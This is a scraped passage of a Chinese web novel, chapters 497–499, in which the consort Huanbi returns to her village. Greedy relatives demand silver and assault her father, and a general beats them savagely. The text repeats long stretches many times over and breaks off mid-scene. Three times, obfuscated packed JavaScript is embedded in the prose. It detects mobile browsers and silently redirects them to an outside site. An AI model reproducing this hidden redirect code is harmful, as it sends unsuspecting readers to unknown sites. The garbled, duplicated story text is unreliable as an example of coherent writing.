“三哥,你都这么发达了,可别忘了我们这群乡亲们啊!” “恭喜啊三哥!!” “额额额,好好好,哈哈哈哈,都坐都坐。”李老三被大家都热情冲击得有些懵。 他搬回来的时候虽说也有人上门主动搭讪,闲聊,但也不至于这么热情啊。 李老三带着老婆挤出人群,来到自己家门口。 刚出门,就看到一支黑色队伍簇拥着一辆无比奢华的马车徐徐而来,周围还有很多看热闹的人,但是谁也不敢上前,更不敢指指点点。 李老三看着那队伍,心中一时间无比感慨。 我上辈子是积了多少德啊?能生出这样的闺女来! 他连忙拉着老婆跪下,头也不敢抬。 不止是他,还有村正以及许多在现场的村民也都跪了下去。 曹雄骑着马,手里拿着长刀,一副要屠村的样子,看着李老三喊道:“跪迎者何人!?” “回将军,草民李老三。” 曹雄点点头,命令队伍继续前进,把马车放在大门口。 随即调转马头,来到马车面前,翻身下马,单膝跪地。 “夫人,到家了。” “老三,你可真有福气啊,当了世子的老丈人,以后我可就跟你混了!” “三哥,你都这么发达了,可别忘了我们这群乡亲们啊!” “恭喜啊三哥!!” “额额额,好好好,哈哈哈哈,都坐都坐。”李老三被大家都热情冲击得有些懵。 他搬回来的时候虽说也有人上门主动搭讪,闲聊,但也不至于这么热情啊。 李老三带着老婆挤出人群,来到自己家门口。 刚出门,就看到一支黑色队伍簇拥着一辆无比奢华的马车徐徐而来,周围还有很多看热闹的人,但是谁也不敢上前,更不敢指指点点。 李老三看着那队伍,心中一时间无比感慨。 我上辈子是积了多少德啊?能生出这样的闺女来! 他连忙拉着老婆跪下,头也不敢抬。 不止是他,还有村正以及许多在现场的村民也都跪了下去。 曹雄骑着马,手里拿着长刀,一副要屠村的样子,看着李老三喊道:“跪迎者何人!?” “回将军,草民李老三。” 曹雄点点头,命令队伍继续前进,把马车放在大门口。 随即调转马头,来到马车面前,翻身下马,单膝跪地。 “夫人,到家了。” “老三,你可真有福气啊,当了世子的老丈人,以后我可就跟你混了!” “三哥,你都这么发达了,可别忘了我们这群乡亲们啊!” “恭喜啊三哥!!” “额额额,好好好,哈哈哈哈,都坐都坐。”李老三被大家都热情冲击得有些懵。 他搬回来的时候虽说也有人上门主动搭讪,闲聊,但也不至于这么热情啊。 李老三带着老婆挤出人群,来到自己家门口。 刚出门,就看到一支黑色队伍簇拥着一辆无比奢华的马车徐徐而来,周围还有很多看热闹的人,但是谁也不敢上前,更不敢指指点点。 李老三看着那队伍,心中一时间无比感慨。 我上辈子是积了多少德啊?能生出这样的闺女来! 他连忙拉着老婆跪下,头也不敢抬。 不止是他,还有村正以及许多在现场的村民也都跪了下去。 曹雄骑着马,手里拿着长刀,一副要屠村的样子,看着李老三喊道:“跪迎者何人!?” “回将军,草民李老三。” 曹雄点点头,命令队伍继续前进,把马车放在大门口。 随即调转马头,来到马车面前,翻身下马,单膝跪地。 “夫人,到家了。” “老三,你可真有福气啊,当了世子的老丈人,以后我可就跟你混了!” “三哥,你都这么发达了,可别忘了我们这群乡亲们啊!” “恭喜啊三哥!!” “额额额,好好好,哈哈哈哈,都坐都坐。”李老三被大家都热情冲击得有些懵。 他搬回来的时候虽说也有人上门主动搭讪,闲聊,但也不至于这么热情啊。 李老三带着老婆挤出人群,来到自己家门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599865|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 刚出门,就看到一支黑色队伍簇拥着一辆无比奢华的马车徐徐而来,周围还有很多看热闹的人,但是谁也不敢上前,更不敢指指点点。 李老三看着那队伍,心中一时间无比感慨。 我上辈子是积了多少德啊?能生出这样的闺女来! 他连忙拉着老婆跪下,头也不敢抬。 不止是他,还有村正以及许多在现场的村民也都跪了下去。 曹雄骑着马,手里拿着长刀,一副要屠村的样子,看着李老三喊道:“跪迎者何人!?” “回将军,草民李老三。” 曹雄点点头,命令队伍继续前进,把马车放在大门口。 随即调转马头,来到马车面前,翻身下马,单膝跪地。 “夫人,到家了。” “老三,你可真有福气啊,当了世子的老丈人,以后我可就跟你混了!” “三哥,你都这么发达了,可别忘了我们这群乡亲们啊!” “恭喜啊三哥!!” “额额额,好好好,哈哈哈哈,都坐都坐。”李老三被大家都热情冲击得有些懵。 他搬回来的时候虽说也有人上门主动搭讪,闲聊,但也不至于这么热情啊。 李老三带着老婆挤出人群,来到自己家门口。 刚出门,就看到一支黑色队伍簇拥着一辆无比奢华的马车徐徐而来,周围还有很多看热闹的人,但是谁也不敢上前,更不敢指指点点。 李老三看着那队伍,心中一时间无比感慨。 我上辈子是积了多少德啊?能生出这样的闺女来! 他连忙拉着老婆跪下,头也不敢抬。 不止是他,还有村正以及许多在现场的村民也都跪了下去。 曹雄骑着马,手里拿着长刀,一副要屠村的样子,看着李老三喊道:“跪迎者何人!?” “回将军,草民李老三。” 曹雄点点头,命令队伍继续前进,把马车放在大门口。 随即调转马头,来到马车面前,翻身下马,单膝跪地。 “夫人,到家了。” “老三,你可真有福气啊,当了世子的老丈人,以后我可就跟你混了!” “三哥,你都这么发达了,可别忘了我们这群乡亲们啊!” “恭喜啊三哥!!” “额额额,好好好,哈哈哈哈,都坐都坐。”李老三被大家都热情冲击得有些懵。 他搬回来的时候虽说也有人上门主动搭讪,闲聊,但也不至于这么热情啊。 李老三带着老婆挤出人群,来到自己家门口。 刚出门,就看到一支黑色队伍簇拥着一辆无比奢华的马车徐徐而来,周围还有很多看热闹的人,但是谁也不敢上前,更不敢指指点点。 李老三看着那队伍,心中一时间无比感慨。 我上辈子是积了多少德啊?能生出这样的闺女来! 他连忙拉着老婆跪下,头也不敢抬。 不止是他,还有村正以及许多在现场的村民也都跪了下去。 曹雄骑着马,手里拿着长刀,一副要屠村的样子,看着李老三喊道:“跪迎者何人!?” “回将军,草民李老三。” 曹雄点点头,命令队伍继续前进,把马车放在大门口。 随即调转马头,来到马车面前,翻身下马,单膝跪地。 “夫人,到家了。” “老三,你可真有福气啊,当了世子的老丈人,以后我可就跟你混了!” “三哥,你都这么发达了,可别忘了我们这群乡亲们啊!” “恭喜啊三哥!!” “额额额,好好好,哈哈哈哈,都坐都坐。”李老三被大家都热情冲击得有些懵。 他搬回来的时候虽说也有人上门主动搭讪,闲聊,但也不至于这么热情啊。 李老三带着老婆挤出人群,来到自己家门口。 刚出门,就看到一支黑色队伍簇拥着一辆无比奢华的马车徐徐而来,周围还有很多看热闹的人,但是谁也不敢上前,更不敢指指点点。 李老三看着那队伍,心中一时间无比感慨。 我上辈子是积了多少德啊?能生出这样的闺女来! 他连忙拉着老婆跪下,头也不敢抬。 不止是他,还有村正以及许多在现场的村民也都跪了下去。 曹雄骑着马,手里拿着长刀,一副要屠村的样子,看着李老三喊道:“跪迎者何人!?” “回将军,草民李老三。” 曹雄点点头,命令队伍继续前进,把马车放在大门口。 随即调转马头,来到马车面前,翻身下马,单膝跪地。 “夫人,到家了。” 第497章 浣碧的家(四) 浣碧被小厮撩开车帘,双手提着裙摆,准备下车,忽而发现那平时踮脚的凳子居然变成了小厮亲自趴在地上。 她落脚时略显犹豫,有些不忍心去踩,曹雄的跟班王春生立刻说道:“夫人请下车。” 说着还特意用眼神示意了一下。 浣碧咬咬牙,心说算了,既然青霞说自己应该要这个面子,索性就把面子做足吧。 于是她款款落脚。 其实浣碧并不重,甚至有些偏瘦,踩在身上也不会有任何感觉,倒是把脚底下的小厮兴奋够呛。 这以后如果能天天伺候夫人下车该有多好啊!咱在府里的地位也水涨船高不是? 小厮乐呵呵地站起来,浣碧回头很友好的看他一眼,这更是让小厮高兴的没边,连连憨笑。 这时候,跪在地上的李老三和阿幺喊道:“恭迎夫人。” 浣碧一眼看到那是自己父母。 “爹” “夫人。”王春生急忙说道:“王府有王府的规矩.” “这免礼。”浣碧伸手虚扶,心里百般不是滋味。 但是没办法,既然选择了这样大张旗鼓地回家,那就得按照王府的规矩办事。 因为林臻说过。 在家里,怎么胡闹都没关系,但是出了门,代表的就是王府。 王府必须要有王府的威严。 这点浣碧很不习惯,但李老三夫妻俩倒没觉得有什么问题。 自古以来,都是阶级最大。 即便女儿是村里丫头,可一旦成为上位者,那家里人该跪也必须得跪。 李老三站起来,见到自己女儿,那个激动劲儿就甭提了。 “夫人,您往里面请。”说完对老婆阿幺说道:“他娘,赶紧带夫人进屋。” “诶诶诶!”阿幺连连点头。 想上去搀扶,又觉得不合适,双手不断在衣服上搓来搓去,不知道该如何安放。 浣碧心里苦涩,但是没办法表露出来,只好在王春生的护卫下率先往屋里走。 与此同时,李老三对曹雄说道:“将军,一路风尘辛苦了,草民这就去置办薄酒,为您接风洗尘。” 曹雄一摆手:“不用,我们军规森严,不能吃百姓的东西。再说你们一家人团聚,俺老曹就不打扰了,这就带兵在附近扎营,你无需多管。” “这是。” 李老三也不敢反驳曹雄的话,只得点头称是,随即转身进去。 曹雄则是带着队伍远远走开,找了处不碍 事的地方扎营同时派士兵在浣碧家24小时站岗。 院子里王春生快走几步先行进屋。 却见屋子里有很多人顿时眉头一皱。 “夫人省亲闲杂人等速速离去!!” 浣碧大姨第一个站起来满脸赔笑:“额哈哈哈这位军爷我是夫人的大姨 都是浣碧的亲戚王春生声音稍显温和但还是说道:“这间屋子需要进行检查劳烦几位亲属先离开过后夫人有话自然会叫你们。” 浣碧姥姥因为知道这群当兵的什么德行先有了退意。 但是她大姨不干。 “军爷您瞧您说的咱自己家还有什么好检查的我们都是至亲难道还会害夫人不成?” 妈的给脸不要脸。 王春生眼睛微微眯起态度再次强硬起来:“你再不出去我就要扔你出去了。” “不是我说你”浣碧的舅舅张嘴就要骂人被他老娘死死按住。 “不许胡说八道!军爷我们出去我们出去呵呵呵.”老太太一边说一边拽着自己儿子走甚至还一边使眼色。 王春生跟人精似的瞬间就明白了这里面有问题。 这门子亲戚恐怕是来者不善。 但是在浣碧夫人没有命令之前他不会率先发难。 就在这个时候浣碧走了进来正和要出去的姥姥家人打个照面。 浣碧惊讶地道:“姥姥?大姨娘?舅父?你们.你们怎么来了?” 站在浣碧身后的李老三和阿幺脸色都有些不好看。 家丑不外扬他还不想把这点事情闹得人尽皆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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浣碧刚刚坐下,突然就觉得有些硌屁股,伸手去摸,这才发现自己家炕上只铺着一层草席,上面盖着被单。 被单也是打了补丁的,一块一块很是难看。 “爹,这家里的日子怎么还这么苦啊?我上个月不是派人给你们十两银子吗?” 第498章 浣碧的家(五) 门外,曹雄命令士兵扎营,自己溜溜达达回浣碧家的院子里。 见王春生和一个士兵笔挺地站在门口,他问道:“奇怪啊,没听说夫人家有这么多人啊。” 王春生回答道:“将军有所不知,刚才很多人都是村里的邻居,过来凑热闹的,还有波人在里面呢,估计来者不善。” “什么意思?”曹雄立刻警觉起来。 浣碧的安全要是出了一点点问题,林臻盛怒之下非得把他做成人彘不可。 王春生回答道:“听那意思应该是夫人母亲家的亲戚,具体情况属下也不知道,但好像挺复杂。” 曹雄有老婆有孩子,是见过世面的,当即就听明白了。 他点点头,身子不由自主地往门口靠了靠,仔细听里面内容。 房间里,李老三笑呵呵地回答:“花儿啊,村里不比府里,有钱也得省着点花不是?” “那也不能就这么睡觉啊,好歹是生活的地方,不行,回去了我立刻让人送几床被褥来。” “不用不用!咱村里人哪那么金贵?睡这个就挺好的。” 浣碧不愿意了。 就算大乾现在经济腾飞,但十两银子依旧不是小数,不说把日子过得风风火火,但也不至于睡觉连个褥子都没有。 她哪里知道,那十两银子还没捂热呢就被亲戚借走了。 “闺女啊,和娘说说,府里的生活好吗?世子待你如何?” 浣碧莞尔一笑:“娘,您看这阵势,世子待我又怎会差了?” “对对对,是娘老糊涂了,一别这么多年,都忘记你爱吃什么了”说着说着阿幺又要哭,李老三说道。 “你行了,别没完没了的,要哭出去哭。”说完笑呵呵地对浣碧说,“闺女,想吃啥?爹今天亲自下厨,给你做一桌子的好菜!” “想吃爹做的绿豆粥,想吃娘腌的苦菜。”浣碧在府里多年,就馋这一口。 不是什么山珍海味,而是当年一家人在一起最喜欢吃,也是唯一能吃东西。 想起这些,李老三鼻子一酸,连忙说:“好!好!等你哥回来,马上就做!” 说曹操,曹操就到。 下地干活的李闯听说妹妹回来省亲,立刻放下手里的活,带着老婆孩子往回赶。 当回到家门口看到许多黑甲士兵来回巡逻的时候,也吓了一跳,甚至在进门前还被拦了下来。 “站住!世子夫人省亲,闲杂人等,不得入内!”王春生在家门口将李闯等人拦住。 后者还没来得及解释,就听到浣碧的声音从里面传来:“春生,那是我哥哥一家,快让他们进来。” 听声音就知道浣碧应该和眼前这位哥哥很亲,于是王春生立刻露出笑脸,闪开身子。 李闯和老婆各背着一个孩子,对他笑道:“谢谢军爷!” 说完大步走进屋内。 李闯连见浣碧时的表情都反复琢磨了一番。 这可是他当年和妹妹分别后的第一次见面,更别说当年父母就是为了让他活下去所以才把浣碧卖给人伢子的。 李闯掀开门帘,大喊了一声:“小花!!” 浣碧穿着盛装。 就这一身装扮直接把李闯的眼睛亮瞎了,可下一秒他就看见浣碧姥姥家人正坐在火炕对面。 他立刻大吼:“你们怎么又来了?不是告诉过你们不许再来我家吗?我爹好不容易攒的几十两银子都给你们了,你们还想干什么!” “住口,大闯!”李老三立刻站起来将他拦住。 但话已经说出口了,岂有撤回去的道理?浣碧的脸色立刻阴沉下来。 那双十几年都如春水般的双眸,那双从来没有发过怒火的眼睛,在这一刻变得十分冰冷。 以至于看的浣碧姥姥浑身不自在。 当大姨的可没惯着她。 在她眼里,浣碧还是当年那个拉着她衣袖要粥喝的小臭丫头。 “浣碧,虽说你进了王府,但我们好歹也是你长辈,现在看在王府的面子上叫你一声夫人,你还真拿自己当长辈了?” 他舅舅更是一把将花生壳扔在地上:“浣碧,当年你家穷的时候,可是老子给你们家的口粮,你小时候我还给你洗过尿布呢!你现在混得好了,就可以在你这些长辈面前耀武扬威了?你还是不是人!” 先不说屋里,光是站在外面的曹雄听到这句话,浑身都炸了**:“哎呦****,这个逼样的敢骂浣碧夫人!” 说完他撸起袖子就要冲进去。 王春生死死把他抱住:“将军!将军!别冲动!现在是浣碧夫人的家事,你若****躁躁地冲进去,就是我们没规矩了!” 屋里,浣碧气得脸色铁青。 她是真没想到,自己拿那么多钱救济他们,最终还是得到这样的结果。 她说道:“你们还想说什么,都说出来!” “闺女.”李老三刚要插嘴,却被浣碧抬手制止住。 在王府多年,又跟着林臻,浣碧也已经**得几分上位者的气势,虽然从来不表现出来,但不代表她没有脾气。 她大姨继续说:“浣碧,家里现在日子过得苦,你那么有钱,又是世子房里人!那世子是什么人物?说句不好听的,皇帝说话都不一定有他管用!你拿点钱出来孝敬孝敬我们,我们也念你一个好,也不至于现在闹成这个样子!” 他大舅也说道:“就是,家里富可敌国,对自己长辈就几十两几十两的抠搜,你多拿点钱怎么了?你给林臻省什么钱?他差这几十两吗?” 听家里人都这么说,浣碧姥姥的腰杆也直了起来。 “丫头,你家是好过了,但是我们还穷着呢啊,你拿点钱出来,大家日子都能过得好,回头这十里八乡的谁不说你贤惠?谁不说你的好啊,再说我们要的也不多,你小舅舅让你们王府的人打伤了,这医药费总得管吧?” “呵呵呵呵。”浣碧笑了。 没想到自己居然有这样一群白眼狼亲戚。 当年他们家走投无路的时候,想着去投奔,但迎来的却是一个又一个白眼,甚至连剩饭都不给他们家人吃一口。 现在反过来要钱。 你们凭什么? 后者还没来得及解释,就听到浣碧的声音从里面传来:“春生,那是我哥哥一家,快让他们进来。” 听声音就知道浣碧应该和眼前这位哥哥很亲,于是王春生立刻露出笑脸,闪开身子。 李闯和老婆各背着一个孩子,对他笑道:“谢谢军爷!” 说完大步走进屋内。 李闯连见浣碧时的表情都反复琢磨了一番。 这可是他当年和妹妹分别后的第一次见面,更别说当年父母就是为了让他活下去所以才把浣碧卖给人伢子的。 李闯掀开门帘,大喊了一声:“小花!!” 浣碧穿着盛装。 就这一身装扮直接把李闯的眼睛亮瞎了,可下一秒他就看见浣碧姥姥家人正坐在火炕对面。 他立刻大吼:“你们怎么又来了?不是告诉过你们不许再来我家吗?我爹好不容易攒的几十两银子都给你们了,你们还想干什么!” “住口,大闯!”李老三立刻站起来将他拦住。 但话已经说出口了,岂有撤回去的道理?浣碧的脸色立刻阴沉下来。 那双十几年都如春水般的双眸,那双从来没有发过怒火的眼睛,在这一刻变得十分冰冷。 以至于看的浣碧姥姥浑身不自在。 当大姨的可没惯着她。 在她眼里,浣碧还是当年那个拉着她衣袖要粥喝的小臭丫头。 “浣碧,虽说你进了王府,但我们好歹也是你长辈,现在看在王府的面子上叫你一声夫人,你还真拿自己当长辈了?” 他舅舅更是一把将花生壳扔在地上:“浣碧,当年你家穷的时候,可是老子给你们家的口粮,你小时候我还给你洗过尿布呢!你现在混得好了,就可以在你这些长辈面前耀武扬威了?你还是不是人!” 先不说屋里,光是站在外面的曹雄听到这句话,浑身都炸了**:“哎呦****,这个逼样的敢骂浣碧夫人!” 说完他撸起袖子就要冲进去。 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当大姨的可没惯着她。 在她眼里,浣碧还是当年那个拉着她衣袖要粥喝的小臭丫头。 “浣碧,虽说你进了王府,但我们好歹也是你长辈,现在看在王府的面子上叫你一声夫人,你还真拿自己当长辈了?” 他舅舅更是一把将花生壳扔在地上:“浣碧,当年你家穷的时候,可是老子给你们家的口粮,你小时候我还给你洗过尿布呢!你现在混得好了,就可以在你这些长辈面前耀武扬威了?你还是不是人!” 先不说屋里,光是站在外面的曹雄听到这句话,浑身都炸了**:“哎呦****,这个逼样的敢骂浣碧夫人!” 说完他撸起袖子就要冲进去。 王春生死死把他抱住:“将军!将军!别冲动!现在是浣碧夫人的家事,你若****躁躁地冲进去,就是我们没规矩了!” 屋里,浣碧气得脸色铁青。 她是真没想到,自己拿那么多钱救济他们,最终还是得到这样的结果。 她说道:“你们还想说什么,都说出来!” “闺女.”李老三刚要插嘴,却被浣碧抬手制止住。 在王府多年,又跟着林臻,浣碧也已经**得几分上位者的气势,虽然从来不表现出来,但不代表她没有脾气。 她大姨继续说:“浣碧,家里现在日子过得苦,你那么有钱,又是世子房里人!那世子是什么人物?说句不好听的,皇帝说话都不一定有他管用!你拿点钱出来孝敬孝敬我们,我们也念你一个好,也不至于现在闹成这个样子!” 他大舅也说道:“就是,家里富可敌国,对自己长辈就几十两几十两的抠搜,你多拿点钱怎么了?你给林臻省什么钱?他差这几十两吗?” 听家里人都这么说,浣碧姥姥的腰杆也直了起来。 “丫头,你家是好过了,但是我们还穷着呢啊,你拿点钱出来,大家日子都能过得好,回头这十里八乡的谁不说你贤惠?谁不说你的好啊,再说我们要的也不多,你小舅舅让你们王府的人打伤了,这医药费总得管吧?” “呵呵呵呵。”浣碧笑了。 没想到自己居然有这样一群白眼狼亲戚。 当年他们家走投无路的时候,想着去投奔,但迎来的却是一个又一个白眼,甚至连剩饭都不给他们家人吃一口。 现在反过来要钱。 你们凭什么? 后者还没来得及解释,就听到浣碧的声音从里面传来:“春生,那是我哥哥一家,快让他们进来。” 听声音就知道浣碧应该和眼前这位哥哥很亲,于是王春生立刻露出笑脸,闪开身子。 李闯和老婆各背着一个孩子,对他笑道:“谢谢军爷!” 说完大步走进屋内。 李闯连见浣碧时的表情都反复琢磨了一番。 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他舅舅更是一把将花生壳扔在地上:“浣碧,当年你家穷的时候,可是老子给你们家的口粮,你小时候我还给你洗过尿布呢!你现在混得好了,就可以在你这些长辈面前耀武扬威了?你还是不是人!” 先不说屋里,光是站在外面的曹雄听到这句话,浑身都炸了**:“哎呦****,这个逼样的敢骂浣碧夫人!” 说完他撸起袖子就要冲进去。 王春生死死把他抱住:“将军!将军!别冲动!现在是浣碧夫人的家事,你若****躁躁地冲进去,就是我们没规矩了!” 屋里,浣碧气得脸色铁青。 她是真没想到,自己拿那么多钱救济他们,最终还是得到这样的结果。 她说道:“你们还想说什么,都说出来!” “闺女.”李老三刚要插嘴,却被浣碧抬手制止住。 在王府多年,又跟着林臻,浣碧也已经**得几分上位者的气势,虽然从来不表现出来,但不代表她没有脾气。 她大姨继续说:“浣碧,家里现在日子过得苦,你那么有钱,又是世子房里人!那世子是什么人物?说句不好听的,皇帝说话都不一定有他管用!你拿点钱出来孝敬孝敬我们,我们也念你一个好,也不至于现在闹成这个样子!” 他大舅也说道:“就是,家里富可敌国,对自己长辈就几十两几十两的抠搜,你多拿点钱怎么了?你给林臻省什么钱?他差这几十两吗?” 听家里人都这么说,浣碧姥姥的腰杆也直了起来。 “丫头,你家是好过了,但是我们还穷着呢啊,你拿点钱出来,大家日子都能过得好,回头这十里八乡的谁不说你贤惠?谁不说你的好啊,再说我们要的也不多,你小舅舅让你们王府的人打伤了,这医药费总得管吧?” “呵呵呵呵。”浣碧笑了。 没想到自己居然有这样一群白眼狼亲戚。 当年他们家走投无路的时候,想着去投奔,但迎来的却是一个又一个白眼,甚至连剩饭都不给他们家人吃一口。 现在反过来要钱。 你们凭什么? 后者还没来得及解释,就听到浣碧的声音从里面传来:“春生,那是我哥哥一家,快让他们进来。” 听声音就知道浣碧应该和眼前这位哥哥很亲,于是王春生立刻露出笑脸,闪开身子。 李闯和老婆各背着一个孩子,对他笑道:“谢谢军爷!” 说完大步走进屋内。 李闯连见浣碧时的表情都反复琢磨了一番。 这可是他当年和妹妹分别后的第一次见面,更别说当年父母就是为了让他活下去所以才把浣碧卖给人伢子的。 李闯掀开门帘,大喊了一声:“小花!!” 浣碧穿着盛装。 就这一身装扮直接把李闯的眼睛亮瞎了,可下一秒他就看见浣碧姥姥家人正坐在火炕对面。 他立刻大吼:“你们怎么又来了?不是告诉过你们不许再来我家吗?我爹好不容易攒的几十两银子都给你们了,你们还想干什么!” “住口,大闯!”李老三立刻站起来将他拦住。 但话已经说出口了,岂有撤回去的道理?浣碧的脸色立刻阴沉下来。 那双十几年都如春水般的双眸,那双从来没有发过怒火的眼睛,在这一刻变得十分冰冷。 以至于看的浣碧姥姥浑身不自在。 当大姨的可没惯着她。 在她眼里,浣碧还是当年那个拉着她衣袖要粥喝的小臭丫头。 “浣碧,虽说你进了王府,但我们好歹也是你长辈,现在看在王府的面子上叫你一声夫人,你还真拿自己当长辈了?” 他舅舅更是一把将花生壳扔在地上:“浣碧,当年你家穷的时候,可是老子给你们家的口粮,你小时候我还给你洗过尿布呢!你现在混得好了,就可以在你这些长辈面前耀武扬威了?你还是不是人!” 先不说屋里,光是站在外面的曹雄听到这句话,浑身都炸了**:“哎呦****,这个逼样的敢骂浣碧夫人!” 说完他撸起袖子就要冲进去。 王春生死死把他抱住:“将军!将军!别冲动!现在是浣碧夫人的家事,你若****躁躁地冲进去,就是我们没规矩了!” 屋里,浣碧气得脸色铁青。 她是真没想到,自己拿那么多钱救济他们,最终还是得到这样的结果。 她说道:“你们还想说什么,都说出来!” “闺女.”李老三刚要插嘴,却被浣碧抬手制止住。 在王府多年,又跟着林臻,浣碧也已经**得几分上位者的气势,虽然从来不表现出来,但不代表她没有脾气。 她大姨继续说:“浣碧,家里现在日子过得苦,你那么有钱,又是世子房里人!那世子是什么人物?说句不好听的,皇帝说话都不一定有他管用!你拿点钱出来孝敬孝敬我们,我们也念你一个好,也不至于现在闹成这个样子!” 他大舅也说道:“就是,家里富可敌国,对自己长辈就几十两几十两的抠搜,你多拿点钱怎么了?你给林臻省什么钱?他差这几十两吗?” 听家里人都这么说,浣碧姥姥的腰杆也直了起来。 “丫头,你家是好过了,但是我们还穷着呢啊,你拿点钱出来,大家日子都能过得好,回头这十里八乡的谁不说你贤惠?谁不说你的好啊,再说我们要的也不多,你小舅舅让你们王府的人打伤了,这医药费总得管吧?” “呵呵呵呵。”浣碧笑了。 没想到自己居然有这样一群白眼狼亲戚。 当年他们家走投无路的时候,想着去投奔,但迎来的却是一个又一个白眼,甚至连剩饭都不给他们家人吃一口。 现在反过来要钱。 你们凭什么? 第499章 浣碧的家(六) 浣碧永远都忘不了自己年幼时全家逃难到京城的事情。 那时候家里三个孩子都在,父亲李老三、母亲阿幺背着大包小裹的东西来投奔姥姥。 女婿上门求老丈人,本就面子上挂不住,好不容易鼓起勇气敲开姥姥家的门,迎接的全都是尖酸刻薄的话语。 开门的是同样回娘家的大姨。 她们家也撑不下去了,希望来找母亲借点粮食,可是话还没等说出口,就见到自己妹妹带着全家站在门外,这如何能忍? 我妈还没东西给我呢,才不会给你们。 于是大姨说:“滚滚滚,赶紧滚!嫁出去的女儿泼出去的水,干什么舔个脸过来要饭啊?李老三,当初我们家把阿幺嫁过去时,你怎么保证的?这才几年,日子就过成这样?” 听到她在外面喊,屋里的娘家人也就都出来了,当看到风尘仆仆满身补丁的李老三一家人,都露出来十分嫌弃的表情。 别说借钱借粮食,就是剩饭都不给他们一家人吃一口。 李老三本想放下骨气,给子女们换一条生路,可谁知道人家连你最后的尊严都不稀罕要。 没办法,他只能把两个女儿卖掉,换了些钱,租地主家的土地种。 浣碧无法忘记那天与父母分别时,李老三一个劲儿抽他自己大嘴巴的情景。 也是在这一天,她才知道,原来父亲也会哭。 收回思绪,浣碧看向满脸刁钻刻薄的姥姥家人,说道:“当初我们家走投无路来京城投奔你们。可你们呢?不仅对我们厌烦,还把我们赶出来。这些事情难道你们都忘了?现在来借钱,不可能!” “嘿!你这孩子怎么这么说话?”当大姨的很不乐意,“当初大家都穷,哪有多余的粮食救济你们啊?现在你们家好了,不管我们那就是你们没良心!” 他大舅也跟着起哄,“就是,要穷大家都穷,要不就一起富,凭什么你们天天吃香喝辣的,我们就啃粟米饼啊?大家都是亲戚,没这个道理!” “你们!”浣碧从没见过这样没脸没皮的亲戚,一时间竟气得说不出话来。 她大姨见她这副样子,更是觉得自己占据上风,阴阳怪气地说道:“你今天的好生活不也是**子换来的?还真装上豪门夫人了,自己是鸡是凤凰心里没点逼数?” “我们也不多要,就三百两,给我们三百两我们就走,否则别说亲戚没得做,我们以后就住在这,不走了!”大舅说完,姥姥的胆气也壮了起来。 毕竟浣碧并不是张俪,她没 什么好怕的。 “三百两?你们羞辱王府夫人呢?少说五百两,给五百两我们就走。” 李老三实在看不下去了,站起来指着大门:“滚!我们家不欢迎你们!滚出去!” “叫什么叫?”浣碧大舅也跳起来,脖子上青筋暴起一副要拼命的样子,“咋滴?想跟小舅子练练?呵,我借你两个胆子你也不敢!” “你再敢多说一句,我就跟你拼命!” “拼命?曹尼玛的,你吓唬谁呢?”说完浣碧大舅一脚踹在李老三肚子上。 李老三立刻摔倒在地,表情十分痛苦。 “爹!”浣碧尖叫一声,连忙去扶:“爹!你怎么样了?你们,你们太欺负人了!” “欺负?哎呦呦,我们哪敢欺负王府夫人啊?哈哈哈哈哈。”见对方不敢还手,她大舅简直狂得没边了,十分嚣张的仰头大笑。 浣碧眼睛通红。 如果他们不动手,以她的性子这几百两可能就给了。 但是他们居然敢打我爹! “你们这群乌龟王八蛋!曹雄!!” 曹雄早在外面等急了,听到浣碧的叫喊立刻冲进来。 她大舅还不知道接下来会发生什么呢,嚣张地喊道:“呵,曹雄?狗熊来了都没用!不过舅舅看你现在身段发育得不错,这样吧,你跟舅舅回去,钱的时候回头再说。” “哎呦**.你个死妈.的!”曹雄刚进来就听见这句话,气得脑门都红了。 浣碧在家里可是林臻的心头肉,地位比晴雯还要高,除了他以外谁说都不行,没成想回到家居然受到这种侮辱。 死罪啊,俺老曹死罪啊!! “砰!”曹雄跳得很高,一脚正踹在她大舅脸上。 “啊!! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15636438|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “****,连浣碧夫人都敢觊觎,我看你是活够了!” 砰—— 砰—— 曹雄本就因为新家被烧成瓦砾场而心情不爽,此刻更是怒不可遏,一脚接一脚地朝他脑袋上猛踢。 当母亲地看到儿子被打,一下就麻爪了,下意识地想蹲下来护住儿子。 “儿砸!!” “你别打我儿砸!!” “我去**!” 曹雄可不管你是谁,结结实实一脚踢在老太太肋骨上。 咔嚓——肋骨断裂的声音传来,老太太凄厉惨叫:“啊!!!” “娘!!” 这一切发生的太快了,当大姨的还没反应过来咋回事呢,自己弟 弟和母亲就被打个半死。 “你!你凭什么**!” “啪!”曹雄甩手就是一个大嘴巴,“打的就是你们这种烂人!连王府都不放在眼里,我看你们是疯了!来人!” 王春生和另外一名士兵走进来。 曹雄指着地上的几个人说道:“把他们都给老子带出去,剁成肉酱喂狗!” “是!” “别别别!”阿幺立刻站出来阻拦。 说到底,那是她母亲。 “将军,求求您,饶我娘一命吧!!她们就算有错也罪不至死啊!” 李老三动了动嘴,但是没说什么。 一时间所有人都目光都望向浣碧。 却见后者只是将父亲扶起来,说道:“爹,他们欠我们多少钱?” “这我也记不清了,大概一百多两吧。” “曹雄。” 